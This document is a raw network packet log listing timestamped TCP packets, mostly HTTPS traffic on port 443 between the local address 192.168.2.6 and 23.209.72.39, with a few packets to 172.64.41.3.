Dec 24, 2024 19:28:42.117707014 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.117757082 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.117769957 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.117832899 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.117846966 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.117861032 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.117954016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.117970943 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.118019104 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.118370056 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.127300978 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127383947 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127396107 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127509117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127521992 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127533913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127547026 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127710104 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127722979 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127744913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.127985954 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.137665987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.137727022 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.137739897 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.137814999 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.137825966 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.137839079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.138067007 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.138266087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.138386965 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.138530970 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.139178038 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.149394989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149523973 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149573088 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149583101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149669886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149684906 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149698019 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149808884 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149820089 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149830103 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.149969101 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.159169912 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.159251928 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.159262896 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.159298897 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.159310102 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.159338951 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.159351110 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.159455061 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.159480095 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.161308050 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.161607027 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.185395956 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187150002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187196016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187208891 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187226057 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187273026 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187285900 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187408924 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187422037 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187547922 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187560081 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187573910 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187586069 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187598944 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187613010 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187764883 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187839031 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187860012 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187872887 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187886000 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.187982082 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.188189030 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.192091942 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192137003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192148924 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192219019 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192276955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192289114 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192301989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192403078 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192430019 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192549944 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.192642927 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.207429886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.207493067 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.207540989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.209661961 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.212443113 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.212693930 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.212882996 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.212893963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.212994099 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.213006020 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.213299990 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.215445042 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215492964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215504885 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215617895 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215630054 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215641022 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215652943 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215806961 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215818882 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.215831041 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.216097116 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.228385925 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.228419065 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.228430033 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.228529930 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.230343103 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.232034922 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.254553080 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.285317898 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.291279078 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.291294098 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.291399002 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.291409016 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.291697979 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.291775942 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.329344988 CET	50274	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.417438030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.426954985 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.633488894 CET	443	50274	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.747664928 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.754703999 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755063057 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:42.755340099 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755388021 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755400896 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755486012 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755497932 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755511045 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755523920 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755604982 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.755615950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:42.772485018 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.087289095 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.095586061 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.095994949 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.097548008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097564936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097578049 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097647905 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097661018 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097675085 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097687006 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097786903 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097933054 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097944975 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097955942 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097969055 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097980976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.097994089 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.098201036 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.098213911 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.098226070 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.098234892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.100872993 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.116590023 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.436872959 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.447063923 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.447310925 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.447897911 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.448362112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.448416948 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.448427916 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.448465109 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.448474884 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.448482990 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.465029001 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.789726973 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.792850018 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793145895 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793251038 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793263912 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793278933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793379068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793422937 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793452024 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.793488979 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793550968 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793562889 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793642998 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793661118 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793673992 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793765068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793771029 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.793845892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793864012 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793878078 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793890953 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.793991089 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.833229065 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.845515013 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845582962 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845619917 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845671892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845711946 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845792055 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845863104 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845897913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845937967 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.845973969 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846024036 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846076965 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846112013 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846151114 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.846167088 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846230030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846266985 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846302032 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846334934 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846369028 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846404076 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846437931 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846472025 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846508980 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846544981 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846663952 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846698046 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846734047 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846771002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846805096 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.846806049 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846842051 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846880913 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846916914 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:43.846976042 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.878604889 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:43.879359961 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.146584988 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.204520941 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.219165087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.219531059 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.219638109 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.219666958 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.219738960 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.219752073 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.219862938 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.221327066 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.221386909 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.221473932 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.221484900 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.235513926 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.553442955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575479984 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575494051 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575504065 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575510025 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575515985 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575598001 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575649023 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575661898 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575757027 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575787067 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575804949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575814962 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.575948000 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.576158047 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.591748953 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.895956039 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:44.896116972 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:44.989603043 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989638090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989650011 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989722967 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989734888 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989751101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989880085 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989890099 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989902973 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989914894 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.989927053 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990117073 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.990139961 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990153074 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990165949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990179062 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990190029 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990204096 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990379095 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990390062 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990413904 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.990442038 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990902901 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990983963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.990995884 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991070986 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.991116047 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991132975 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991146088 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991269112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991280079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991295099 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991307020 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991861105 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991945982 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.991955996 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992048979 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992065907 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992078066 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992089033 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992208958 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.992332935 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992346048 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992358923 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992602110 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992686987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992697954 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992782116 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992793083 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992805958 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992822886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992923021 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992971897 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.992985964 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993132114 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993144989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993191004 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993204117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993217945 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993333101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993446112 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.993479967 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993494987 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993505955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993519068 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993532896 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993546009 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993560076 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993573904 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993732929 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.993791103 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993891954 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.993917942 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993930101 CET	443	54108	23.209.72.39	192.168.2.6
